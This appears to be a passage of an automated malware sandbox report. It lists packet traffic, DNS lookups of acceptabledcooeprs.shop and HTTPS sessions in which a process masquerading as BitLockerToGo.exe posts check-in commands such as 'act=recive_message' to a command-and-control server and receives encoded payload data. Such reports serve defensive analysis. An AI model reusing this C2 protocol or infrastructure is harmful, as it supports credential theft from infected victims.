May 3, 2024 10:12:15.310861111 CEST	443	49735	104.21.59.156	192.168.2.4
May 3, 2024 10:12:15.503254890 CEST	443	49735	104.21.59.156	192.168.2.4
May 3, 2024 10:12:15.503359079 CEST	49735	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:15.507525921 CEST	49735	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:15.507534027 CEST	443	49735	104.21.59.156	192.168.2.4
May 3, 2024 10:12:15.507955074 CEST	443	49735	104.21.59.156	192.168.2.4
May 3, 2024 10:12:15.554624081 CEST	49735	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:15.557965040 CEST	49735	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:15.558017015 CEST	49735	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:15.558056116 CEST	443	49735	104.21.59.156	192.168.2.4
May 3, 2024 10:12:15.993974924 CEST	443	49735	104.21.59.156	192.168.2.4
May 3, 2024 10:12:15.994081020 CEST	443	49735	104.21.59.156	192.168.2.4
May 3, 2024 10:12:15.994138002 CEST	49735	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:15.996495962 CEST	49735	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:15.996514082 CEST	443	49735	104.21.59.156	192.168.2.4
May 3, 2024 10:12:15.996545076 CEST	49735	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:15.996551037 CEST	443	49735	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.000777960 CEST	49737	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:16.000802040 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.000869036 CEST	49737	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:16.001445055 CEST	49737	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:16.001461983 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.185681105 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.185754061 CEST	49737	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:16.186988115 CEST	49737	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:16.186995983 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.187309027 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.199629068 CEST	49737	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:16.199664116 CEST	49737	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:16.199708939 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.704917908 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.704983950 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.705064058 CEST	49737	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:16.705074072 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.705200911 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.705225945 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.705272913 CEST	49737	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:16.705279112 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.705318928 CEST	49737	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:16.705419064 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.705507040 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.705614090 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.705661058 CEST	49737	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:16.705667019 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.705702066 CEST	49737	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:16.705714941 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.705760002 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.705826044 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:16.705864906 CEST	49737	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:17.390237093 CEST	49737	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:17.390263081 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:17.390275002 CEST	49737	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:17.390280962 CEST	443	49737	104.21.59.156	192.168.2.4
May 3, 2024 10:12:17.960824966 CEST	49738	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:17.960867882 CEST	443	49738	104.21.59.156	192.168.2.4
May 3, 2024 10:12:17.960943937 CEST	49738	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:17.961493015 CEST	49738	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:17.961508989 CEST	443	49738	104.21.59.156	192.168.2.4
May 3, 2024 10:12:18.148156881 CEST	443	49738	104.21.59.156	192.168.2.4
May 3, 2024 10:12:18.148262978 CEST	49738	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:18.149790049 CEST	49738	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:18.149797916 CEST	443	49738	104.21.59.156	192.168.2.4
May 3, 2024 10:12:18.150042057 CEST	443	49738	104.21.59.156	192.168.2.4
May 3, 2024 10:12:18.151201963 CEST	49738	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:18.151376009 CEST	49738	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:18.151411057 CEST	443	49738	104.21.59.156	192.168.2.4
May 3, 2024 10:12:18.151489019 CEST	49738	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:18.151498079 CEST	443	49738	104.21.59.156	192.168.2.4
May 3, 2024 10:12:18.629654884 CEST	443	49738	104.21.59.156	192.168.2.4
May 3, 2024 10:12:18.629776955 CEST	443	49738	104.21.59.156	192.168.2.4
May 3, 2024 10:12:18.629846096 CEST	49738	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:18.630815029 CEST	49738	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:18.630832911 CEST	443	49738	104.21.59.156	192.168.2.4
May 3, 2024 10:12:18.869774103 CEST	49739	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:18.869802952 CEST	443	49739	104.21.59.156	192.168.2.4
May 3, 2024 10:12:18.869875908 CEST	49739	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:18.870176077 CEST	49739	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:18.870188951 CEST	443	49739	104.21.59.156	192.168.2.4
May 3, 2024 10:12:19.059385061 CEST	443	49739	104.21.59.156	192.168.2.4
May 3, 2024 10:12:19.059557915 CEST	49739	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:19.061013937 CEST	49739	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:19.061021090 CEST	443	49739	104.21.59.156	192.168.2.4
May 3, 2024 10:12:19.061336040 CEST	443	49739	104.21.59.156	192.168.2.4
May 3, 2024 10:12:19.062860966 CEST	49739	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:19.063010931 CEST	49739	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:19.063040972 CEST	443	49739	104.21.59.156	192.168.2.4
May 3, 2024 10:12:19.547925949 CEST	443	49739	104.21.59.156	192.168.2.4
May 3, 2024 10:12:19.548053980 CEST	443	49739	104.21.59.156	192.168.2.4
May 3, 2024 10:12:19.548110962 CEST	49739	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:19.548170090 CEST	49739	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:19.548182964 CEST	443	49739	104.21.59.156	192.168.2.4
May 3, 2024 10:12:19.691653013 CEST	49740	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:19.691723108 CEST	443	49740	104.21.59.156	192.168.2.4
May 3, 2024 10:12:19.691945076 CEST	49740	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:19.692159891 CEST	49740	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:19.692176104 CEST	443	49740	104.21.59.156	192.168.2.4
May 3, 2024 10:12:19.877533913 CEST	443	49740	104.21.59.156	192.168.2.4
May 3, 2024 10:12:19.877774000 CEST	49740	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:19.878947973 CEST	49740	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:19.878954887 CEST	443	49740	104.21.59.156	192.168.2.4
May 3, 2024 10:12:19.879300117 CEST	443	49740	104.21.59.156	192.168.2.4
May 3, 2024 10:12:19.880526066 CEST	49740	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:19.880696058 CEST	49740	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:19.880733013 CEST	443	49740	104.21.59.156	192.168.2.4
May 3, 2024 10:12:19.880799055 CEST	49740	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:19.880809069 CEST	443	49740	104.21.59.156	192.168.2.4
May 3, 2024 10:12:20.415819883 CEST	443	49740	104.21.59.156	192.168.2.4
May 3, 2024 10:12:20.415980101 CEST	443	49740	104.21.59.156	192.168.2.4
May 3, 2024 10:12:20.416035891 CEST	49740	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:20.416194916 CEST	49740	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:20.416208982 CEST	443	49740	104.21.59.156	192.168.2.4
May 3, 2024 10:12:20.526498079 CEST	49741	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:20.526537895 CEST	443	49741	104.21.59.156	192.168.2.4
May 3, 2024 10:12:20.526621103 CEST	49741	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:20.526963949 CEST	49741	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:20.526981115 CEST	443	49741	104.21.59.156	192.168.2.4
May 3, 2024 10:12:20.711649895 CEST	443	49741	104.21.59.156	192.168.2.4
May 3, 2024 10:12:20.711822987 CEST	49741	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:20.713094950 CEST	49741	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:20.713103056 CEST	443	49741	104.21.59.156	192.168.2.4
May 3, 2024 10:12:20.713331938 CEST	443	49741	104.21.59.156	192.168.2.4
May 3, 2024 10:12:20.714579105 CEST	49741	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:20.714694977 CEST	49741	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:20.714723110 CEST	443	49741	104.21.59.156	192.168.2.4
May 3, 2024 10:12:21.189892054 CEST	443	49741	104.21.59.156	192.168.2.4
May 3, 2024 10:12:21.189966917 CEST	443	49741	104.21.59.156	192.168.2.4
May 3, 2024 10:12:21.190115929 CEST	49741	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:22.296906948 CEST	49741	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:22.296941996 CEST	443	49741	104.21.59.156	192.168.2.4
May 3, 2024 10:12:22.340914965 CEST	49742	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:22.340949059 CEST	443	49742	104.21.59.156	192.168.2.4
May 3, 2024 10:12:22.341010094 CEST	49742	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:22.341797113 CEST	49742	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:22.341818094 CEST	443	49742	104.21.59.156	192.168.2.4
May 3, 2024 10:12:22.524535894 CEST	443	49742	104.21.59.156	192.168.2.4
May 3, 2024 10:12:22.524738073 CEST	49742	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:22.527717113 CEST	49742	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:22.527726889 CEST	443	49742	104.21.59.156	192.168.2.4
May 3, 2024 10:12:22.527956963 CEST	443	49742	104.21.59.156	192.168.2.4
May 3, 2024 10:12:22.529115915 CEST	49742	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:22.529213905 CEST	49742	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:22.529220104 CEST	443	49742	104.21.59.156	192.168.2.4
May 3, 2024 10:12:22.992604017 CEST	443	49742	104.21.59.156	192.168.2.4
May 3, 2024 10:12:22.992682934 CEST	443	49742	104.21.59.156	192.168.2.4
May 3, 2024 10:12:22.992739916 CEST	49742	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:22.996164083 CEST	49742	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:22.996190071 CEST	443	49742	104.21.59.156	192.168.2.4
May 3, 2024 10:12:23.735694885 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:23.735728979 CEST	443	49743	104.21.59.156	192.168.2.4
May 3, 2024 10:12:23.735852957 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:23.736172915 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:23.736186981 CEST	443	49743	104.21.59.156	192.168.2.4
May 3, 2024 10:12:23.919342041 CEST	443	49743	104.21.59.156	192.168.2.4
May 3, 2024 10:12:23.919425011 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:23.920634031 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:23.920639992 CEST	443	49743	104.21.59.156	192.168.2.4
May 3, 2024 10:12:23.920855999 CEST	443	49743	104.21.59.156	192.168.2.4
May 3, 2024 10:12:23.922024012 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:23.922751904 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:23.922782898 CEST	443	49743	104.21.59.156	192.168.2.4
May 3, 2024 10:12:23.922869921 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:23.922903061 CEST	443	49743	104.21.59.156	192.168.2.4
May 3, 2024 10:12:23.922995090 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:23.923032045 CEST	443	49743	104.21.59.156	192.168.2.4
May 3, 2024 10:12:23.923129082 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:23.923157930 CEST	443	49743	104.21.59.156	192.168.2.4
May 3, 2024 10:12:23.923269987 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:23.923300982 CEST	443	49743	104.21.59.156	192.168.2.4
May 3, 2024 10:12:23.923417091 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:23.923444033 CEST	443	49743	104.21.59.156	192.168.2.4
May 3, 2024 10:12:23.923449993 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:23.923464060 CEST	443	49743	104.21.59.156	192.168.2.4
May 3, 2024 10:12:23.923563957 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:23.923587084 CEST	443	49743	104.21.59.156	192.168.2.4
May 3, 2024 10:12:23.923603058 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:23.923693895 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:23.923719883 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:23.964126110 CEST	443	49743	104.21.59.156	192.168.2.4
May 3, 2024 10:12:23.964272022 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:23.964303017 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:23.964325905 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:24.008127928 CEST	443	49743	104.21.59.156	192.168.2.4
May 3, 2024 10:12:24.008225918 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:24.056118965 CEST	443	49743	104.21.59.156	192.168.2.4
May 3, 2024 10:12:25.438133001 CEST	443	49743	104.21.59.156	192.168.2.4
May 3, 2024 10:12:25.438235044 CEST	443	49743	104.21.59.156	192.168.2.4
May 3, 2024 10:12:25.438546896 CEST	49743	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:25.438568115 CEST	49743	443	192.168.2.4	104.21.59.156

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 3, 2024 10:12:15.206686020 CEST	57485	53	192.168.2.4	1.1.1.1
May 3, 2024 10:12:15.301578045 CEST	53	57485	1.1.1.1	192.168.2.4
May 3, 2024 10:12:28.082751989 CEST	49157	53	192.168.2.4	1.1.1.1
May 3, 2024 10:12:28.177026033 CEST	53	49157	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 3, 2024 10:12:15.206686020 CEST	192.168.2.4	1.1.1.1	0xbfee	Standard query (0)	acceptabledcooeprs.shop	A (IP address)	IN (0x0001)	false
May 3, 2024 10:12:28.082751989 CEST	192.168.2.4	1.1.1.1	0xfa60	Standard query (0)	acceptabledcooeprs.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
May 3, 2024 10:12:15.301578045 CEST	1.1.1.1	192.168.2.4	0xbfee	No error (0)	acceptabledcooeprs.shop	104.21.59.156	A (IP address)	IN (0x0001)	false
May 3, 2024 10:12:15.301578045 CEST	1.1.1.1	192.168.2.4	0xbfee	No error (0)	acceptabledcooeprs.shop	172.67.180.137	A (IP address)	IN (0x0001)	false
May 3, 2024 10:12:28.177026033 CEST	1.1.1.1	192.168.2.4	0xfa60	No error (0)	acceptabledcooeprs.shop	172.67.180.137	A (IP address)	IN (0x0001)	false
May 3, 2024 10:12:28.177026033 CEST	1.1.1.1	192.168.2.4	0xfa60	No error (0)	acceptabledcooeprs.shop	104.21.59.156	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

acceptabledcooeprs.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	104.21.59.156	443	6644	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-03 08:12:15 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: acceptabledcooeprs.shop
2024-05-03 08:12:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-03 08:12:15 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 03 May 2024 08:12:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h4vv1lsuulncg6msvpu72bvq4d; expires=Tue, 27-Aug-2024 01:58:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qjGz8h8TMeJDBrIvZes7iRHL99h2lcGqZaI4vLnaLw9HpetiRlqfN9UH1YADyONsE2nIdxci%2FHPWvkdiZmYC9TvZ%2FL1H6YxnU20pZRaoI24iKDq1SbdSdtk2%2BvO8UnSaOnSXgQewFCQaJg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87dec8f5eccf7277-EWR alt-svc: h3=":443"; ma=86400
2024-05-03 08:12:15 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-03 08:12:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	104.21.59.156	443	6644	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-03 08:12:16 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: acceptabledcooeprs.shop
2024-05-03 08:12:16 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 78 70 73 47 56 46 2d 2d 4e 45 57 31 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=xpsGVF--NEW1&j=default
2024-05-03 08:12:16 UTC	808	IN	HTTP/1.1 200 OK Date: Fri, 03 May 2024 08:12:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=80qpvs66cntg7sr8oolgajga5k; expires=Tue, 27-Aug-2024 01:58:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7jmG8yUSIMYhW2Dm0BJ3yoMgvcwTNx0uD5NkPX6eMrMEhpQQnys9e57lruEDhnJUnz1qQzXkODdkOOdlkSObO23g%2FNu3xVyl8faZ3UjCnjNiJP8ZtlA4wYZaDClWodFer1uL8pxkHydHvA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87dec8fa3dcf41b4-EWR alt-svc: h3=":443"; ma=86400
2024-05-03 08:12:16 UTC	561	IN	Data Raw: 35 30 31 0d 0a 6a 48 47 41 6f 41 65 6c 5a 70 6a 50 68 63 75 48 64 34 63 70 6a 61 32 6c 2f 74 52 46 77 75 51 42 4f 4d 41 37 36 34 34 64 2b 64 37 33 65 34 6d 43 63 59 64 63 75 50 75 70 77 59 35 56 39 45 79 76 6c 34 57 4b 70 6a 43 6e 79 41 73 78 34 6c 71 50 72 43 66 5a 75 4f 30 64 38 38 55 72 72 32 2b 36 6f 76 33 70 76 56 66 63 49 34 54 57 72 2f 66 64 5a 36 65 4b 49 77 4c 67 47 5a 7a 72 66 35 79 6d 2b 42 54 75 30 32 37 4b 43 4e 69 69 34 4c 2f 6d 47 75 5a 61 35 6f 50 4d 6b 66 5a 70 79 4f 30 49 47 71 56 42 79 62 51 39 32 35 50 70 42 65 48 74 5a 74 59 4e 75 75 4f 50 77 6f 35 56 34 6c 32 76 6c 34 58 63 69 47 65 79 68 58 4e 5a 72 55 69 33 72 43 65 43 67 71 34 59 39 4d 56 31 78 42 4c 78 6f 4f 75 34 32 31 57 39 48 37 32 64 6c 63 37 6b 4f 4f 44 75 43 45 58 4b 4d 72 Data Ascii: 501jHGAoAelZpjPhcuHd4cpja2l/tRFwuQBOMA7644d+d73e4mCcYdcuPupwY5V9Eyvl4WKpjCnyAsx4lqPrCfZuO0d88Urr2+6ov3pvVfcI4TWr/fdZ6eKIwLgGZzrf5ym+BTu027KCNii4L/mGuZa5oPMkfZpyO0IGqVBybQ925PpBeHtZtYNuuOPwo5V4l2vl4XciGeyhXNZrUi3rCeCgq4Y9MV1xBLxoOu421W9H72dlc7kOODuCEXKMr
2024-05-03 08:12:16 UTC	727	IN	Data Raw: 55 37 71 41 4a 63 45 4b 2b 36 44 6e 75 2b 30 65 37 6b 37 39 78 4d 36 52 75 79 65 74 6a 47 78 5a 6f 6c 36 44 35 6e 43 52 75 4f 4d 65 35 4d 4a 6c 68 30 71 53 78 6f 7a 70 34 67 32 6c 45 36 32 50 35 4a 6d 6d 49 4b 79 51 49 57 44 69 4d 65 4c 7a 4d 66 44 2b 72 48 75 4a 32 77 32 73 62 37 71 71 36 2b 6d 39 56 36 56 44 36 73 7a 45 6c 37 6b 6b 71 49 31 78 57 72 42 66 68 4f 6c 74 6e 62 6e 67 47 65 48 51 62 38 6b 43 2b 61 54 73 6f 4f 41 53 34 51 75 68 70 36 7a 33 39 69 43 34 78 6a 73 59 34 6e 69 45 35 33 4f 52 71 2b 35 54 69 71 6c 36 69 57 79 52 74 49 2f 43 6a 6c 58 69 52 36 2b 58 68 64 79 79 4a 71 53 48 5a 31 53 73 58 59 58 71 63 5a 61 7a 36 42 6e 69 78 57 2f 50 44 50 75 67 37 4b 62 6c 45 4f 68 50 36 63 50 47 6d 66 5a 70 79 4f 30 49 47 71 56 42 79 62 51 39 32 35 4c Data Ascii: U7qAJcEK+6Dnu+0e7k79xM6RuyetjGxZol6D5nCRuOMe5MJlh0qSxozp4g2lE62P5JmmIKyQIWDiMeLzMfD+rHuJ2w2sb7qq6+m9V6VD6szEl7kkqI1xWrBfhOltnbngGeHQb8kC+aTsoOAS4Quhp6z39iC4xjsY4niE53ORq+5Tiql6iWyRtI/CjlXiR6+XhdyyJqSHZ1SsXYXqcZaz6BnixW/PDPug7KblEOhP6cPGmfZpyO0IGqVBybQ925L
2024-05-03 08:12:16 UTC	1369	IN	Data Raw: 33 38 62 33 0d 0a 77 58 6c 67 67 32 73 47 37 54 46 6a 4c 43 4e 66 6f 34 4c 36 4d 4f 48 78 50 52 6e 70 6f 70 6d 56 61 78 5a 68 2b 31 79 6e 62 6a 6a 45 2f 44 45 64 38 41 46 2b 61 37 68 72 4f 45 56 35 45 37 71 79 38 2b 59 75 69 6a 67 79 41 73 78 79 52 6d 4f 39 44 2f 44 2f 71 34 38 39 63 78 7a 7a 42 44 39 76 66 61 54 70 79 44 6d 52 65 48 49 30 64 7a 65 54 4c 2f 49 43 7a 47 37 4d 65 4b 48 50 35 79 77 72 6b 75 67 67 6d 7a 56 46 76 36 72 37 4b 4c 33 42 2b 39 50 37 73 37 41 6b 37 63 73 70 59 70 70 55 61 5a 4c 67 65 56 38 69 62 6a 75 47 4f 6a 45 4a 59 6c 73 6b 63 61 6e 72 76 31 56 76 51 6d 76 36 38 71 4d 75 69 79 32 67 58 4e 76 6f 56 65 48 36 32 6e 62 31 49 55 4d 72 4b 6f 4f 33 6d 79 52 78 71 65 75 36 56 57 39 43 61 2f 41 79 4a 4f 2b 4a 36 47 43 62 6c 36 6a 56 49 Data Ascii: 38b3wXlgg2sG7TFjLCNfo4L6MOHxPRnpopmVaxZh+1ynbjjE/DEd8AF+a7hrOEV5E7qy8+YuijgyAsxyRmO9D/D/q489cxzzBD9vfaTpyDmReHI0dzeTL/ICzG7MeKHP5ywrkuggmzVFv6r7KL3B+9P7s7Ak7cspYppUaZLgeV8ibjuGOjEJYlskcanrv1VvQmv68qMuiy2gXNvoVeH62nb1IUMrKoO3myRxqeu6VW9Ca/AyJO+J6GCbl6jVI
2024-05-03 08:12:16 UTC	1369	IN	Data Raw: 70 4b 35 4c 6f 49 4a 56 79 67 6a 78 6f 61 57 63 35 68 76 72 54 50 6d 50 72 2f 65 70 61 63 6a 74 65 6a 4c 4a 4d 73 6e 72 63 39 76 6b 72 46 50 74 77 32 6a 4e 44 2f 53 68 35 71 6e 68 46 75 39 4c 34 4d 72 42 6c 4c 38 6e 73 6f 46 73 57 36 4e 53 67 75 46 78 6e 72 33 72 46 4b 4b 4d 44 61 78 76 75 71 72 2f 36 62 31 58 70 57 62 47 39 59 66 30 33 54 6a 75 37 67 68 44 79 6a 4c 69 72 48 69 58 2f 4c 5a 52 6f 73 5a 76 78 77 6e 77 70 75 69 71 34 68 76 6c 52 75 58 64 7a 35 79 32 4b 61 61 48 62 31 2b 6a 56 59 72 2b 63 35 32 78 36 42 76 77 67 69 75 76 62 35 48 74 34 4c 47 6c 54 61 63 4c 7a 38 54 4c 6e 37 6f 6d 70 38 52 43 55 4b 46 53 68 61 35 4b 6d 4c 4c 67 46 50 53 43 44 61 77 62 74 4d 57 4d 73 49 31 2b 6a 67 76 6f 77 34 66 45 39 47 65 6b 67 6d 39 61 70 56 65 4e 36 6e 4b Data Ascii: pK5LoIJVygjxoaWc5hvrTPmPr/epacjtejLJMsnrc9vkrFPtw2jND/Sh5qnhFu9L4MrBlL8nsoFsW6NSguFxnr3rFKKMDaxvuqr/6b1XpWbG9Yf03Tju7ghDyjLirHiX/LZRosZvxwnwpuiq4hvlRuXdz5y2KaaHb1+jVYr+c52x6Bvwgiuvb5Ht4LGlTacLz8TLn7omp8RCUKFSha5KmLLgFPSCDawbtMWMsI1+jgvow4fE9Gekgm9apVeN6nK
2024-05-03 08:12:16 UTC	1369	IN	Data Raw: 4f 62 4f 62 4d 49 43 2b 36 6a 69 71 4f 45 5a 37 30 33 73 7a 4d 69 54 75 53 2f 67 79 41 73 78 79 52 6d 4f 39 44 2f 44 2f 71 34 32 39 63 6c 72 77 55 53 53 78 76 6a 6e 6a 58 37 38 49 34 53 6b 68 35 75 36 5a 2f 6a 45 49 31 61 72 58 34 2f 70 63 35 71 36 35 68 62 71 78 6d 54 42 41 76 6d 69 34 36 7a 6b 47 75 46 48 34 63 58 47 6e 62 6f 73 72 34 31 6d 47 75 77 78 34 6f 63 2f 6e 4b 53 75 53 36 43 43 56 4d 51 53 37 62 33 72 36 59 31 2b 2b 67 57 48 70 4e 37 30 33 55 7a 67 67 57 38 61 2b 68 76 4a 37 57 32 52 74 75 41 57 37 63 64 6d 79 41 50 33 71 2b 75 6a 37 42 33 6a 52 4f 62 64 78 4a 43 34 49 4b 36 4b 62 56 65 6f 57 6f 53 73 4d 66 50 58 68 56 50 6c 32 69 57 66 52 72 71 42 34 4b 54 4c 48 75 6c 4d 72 36 65 73 67 2f 68 50 79 35 38 4c 4d 63 6b 